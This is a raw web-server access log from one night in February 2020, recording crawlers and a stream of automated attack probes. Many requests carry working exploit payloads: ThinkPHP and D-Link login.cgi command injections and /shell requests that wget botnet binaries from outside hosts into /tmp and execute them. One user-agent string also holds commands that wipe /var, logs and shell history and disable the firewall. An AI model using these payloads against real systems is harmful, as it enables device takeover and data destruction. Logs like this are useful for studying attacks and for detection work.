49.235.24.64 - - [26/Feb/2020:01:11:35 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.24.64 - - [26/Feb/2020:01:11:36 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.24.64 - - [26/Feb/2020:01:11:36 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.24.64 - - [26/Feb/2020:01:11:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
83.99.83.166 - - [26/Feb/2020:01:14:54 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
79.165.196.171 - - [26/Feb/2020:01:32:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
131.221.104.164 - - [26/Feb/2020:01:35:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
128.14.134.170 - - [26/Feb/2020:01:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
66.249.70.29 - - [26/Feb/2020:01:41:45 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.70.31 - - [26/Feb/2020:01:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
178.124.222.231 - - [26/Feb/2020:01:45:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.105.143.94 - - [26/Feb/2020:01:48:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
178.94.63.54 - - [26/Feb/2020:01:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
79.143.186.114 - - [26/Feb/2020:01:53:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
128.14.134.170 - - [26/Feb/2020:02:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
79.217.78.15 - - [26/Feb/2020:02:10:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
211.227.162.19 - - [26/Feb/2020:02:13:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.116.106.211 - - [26/Feb/2020:02:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
121.178.8.198 - - [26/Feb/2020:02:20:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
93.117.13.189 - - [26/Feb/2020:02:20:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
121.178.8.198 - - [26/Feb/2020:02:20:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [26/Feb/2020:02:20:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [26/Feb/2020:02:20:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
134.35.208.254 - - [26/Feb/2020:02:21:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
121.178.8.198 - - [26/Feb/2020:02:21:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
66.249.64.211 - - [26/Feb/2020:02:21:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
174.81.167.164 - - [26/Feb/2020:02:22:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
62.138.24.40 - - [26/Feb/2020:02:28:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
62.138.24.40 - - [26/Feb/2020:02:28:26 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
62.138.24.40 - - [26/Feb/2020:02:28:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
62.138.24.40 - - [26/Feb/2020:02:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
97.105.61.172 - - [26/Feb/2020:02:33:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
54.36.148.167 - - [26/Feb/2020:02:37:04 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
54.36.150.183 - - [26/Feb/2020:02:37:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
82.52.109.243 - - [26/Feb/2020:02:38:01 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
178.124.222.231 - - [26/Feb/2020:02:39:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
175.161.130.234 - - [26/Feb/2020:02:44:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
181.188.72.70 - - [26/Feb/2020:02:44:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
177.189.112.40 - - [26/Feb/2020:02:53:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
211.192.180.178 - - [26/Feb/2020:02:58:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [26/Feb/2020:02:58:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [26/Feb/2020:02:58:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [26/Feb/2020:02:58:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [26/Feb/2020:02:58:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
84.224.71.11 - - [26/Feb/2020:03:00:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
71.6.232.4 - - [26/Feb/2020:03:03:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
134.35.208.254 - - [26/Feb/2020:03:05:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
188.214.172.30 - - [26/Feb/2020:03:10:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
61.167.228.224 - - [26/Feb/2020:03:11:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.135.1.160 - - [26/Feb/2020:03:15:47 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [26/Feb/2020:03:15:48 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [26/Feb/2020:03:15:49 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [26/Feb/2020:03:15:50 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [26/Feb/2020:03:15:51 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [26/Feb/2020:03:15:51 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [26/Feb/2020:03:15:52 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [26/Feb/2020:03:15:52 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [26/Feb/2020:03:15:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
74.80.28.217 - - [26/Feb/2020:03:17:53 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
66.249.64.158 - - [26/Feb/2020:03:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
71.6.232.4 - - [26/Feb/2020:03:28:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
5.188.210.101 - - [26/Feb/2020:03:32:12 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
181.140.105.1 - - [26/Feb/2020:03:34:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.188.210.101 - - [26/Feb/2020:03:34:55 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
92.51.114.214 - - [26/Feb/2020:03:35:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
187.146.50.130 - - [26/Feb/2020:03:47:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.154.55.126 - - [26/Feb/2020:03:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.188.210.101 - - [26/Feb/2020:03:50:07 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
5.188.210.101 - - [26/Feb/2020:03:52:24 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
5.188.210.101 - - [26/Feb/2020:03:54:27 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
5.188.210.101 - - [26/Feb/2020:03:55:09 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
5.188.210.101 - - [26/Feb/2020:03:56:05 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
5.188.210.101 - - [26/Feb/2020:03:58:34 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
223.25.100.190 - - [26/Feb/2020:04:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
188.26.7.21 - - [26/Feb/2020:04:04:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
79.12.15.94 - - [26/Feb/2020:04:05:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
177.68.2.7 - - [26/Feb/2020:04:06:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
198.108.66.176 - - [26/Feb/2020:04:10:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.198.105 - - [26/Feb/2020:04:18:06 +0100] "\x16\x03\x01" 501 318 "-" "-"
79.101.58.32 - - [26/Feb/2020:04:18:09 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
192.241.198.105 - - [26/Feb/2020:04:19:38 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.198.105 - - [26/Feb/2020:04:20:28 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.198.105 - - [26/Feb/2020:04:20:36 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.198.105 - - [26/Feb/2020:04:20:43 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.198.105 - - [26/Feb/2020:04:21:14 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.198.105 - - [26/Feb/2020:04:21:55 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.198.105 - - [26/Feb/2020:04:22:00 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.198.105 - - [26/Feb/2020:04:22:08 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.198.105 - - [26/Feb/2020:04:23:28 +0100] "\x16\x03\x01" 501 318 "-" "-"
202.151.231.81 - - [26/Feb/2020:04:26:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
186.43.86.224 - - [26/Feb/2020:04:32:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
95.216.96.243 - - [26/Feb/2020:04:37:25 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
95.216.96.243 - - [26/Feb/2020:04:37:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
183.105.27.14 - - [26/Feb/2020:04:40:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [26/Feb/2020:04:40:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [26/Feb/2020:04:40:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
95.47.50.33 - - [26/Feb/2020:04:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
169.197.108.38 - - [26/Feb/2020:04:47:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
123.243.179.153 - - [26/Feb/2020:04:48:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
134.35.208.254 - - [26/Feb/2020:04:51:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
201.93.18.3 - - [26/Feb/2020:04:53:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
134.35.208.254 - - [26/Feb/2020:05:00:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
103.212.91.91 - - [26/Feb/2020:05:01:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
191.8.55.47 - - [26/Feb/2020:05:05:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
151.42.117.192 - - [26/Feb/2020:05:11:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
60.49.37.214 - - [26/Feb/2020:05:12:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
92.251.34.14 - - [26/Feb/2020:05:13:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
189.226.155.74 - - [26/Feb/2020:05:13:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
85.105.220.99 - - [26/Feb/2020:05:18:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
78.189.200.210 - - [26/Feb/2020:05:20:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
180.241.44.172 - - [26/Feb/2020:05:22:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
190.94.148.245 - - [26/Feb/2020:05:24:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
61.228.221.161 - - [26/Feb/2020:05:28:25 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
5.101.0.209 - - [26/Feb/2020:05:28:54 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
128.14.140.150 - - [26/Feb/2020:05:29:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
5.101.0.209 - - [26/Feb/2020:05:31:02 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [26/Feb/2020:05:31:39 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [26/Feb/2020:05:32:09 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
197.51.1.169 - - [26/Feb/2020:05:32:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
197.51.1.169 - - [26/Feb/2020:05:32:18 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
197.51.1.169 - - [26/Feb/2020:05:32:18 +0100] "POST /Admin54f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
174.126.153.55 - - [26/Feb/2020:05:32:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
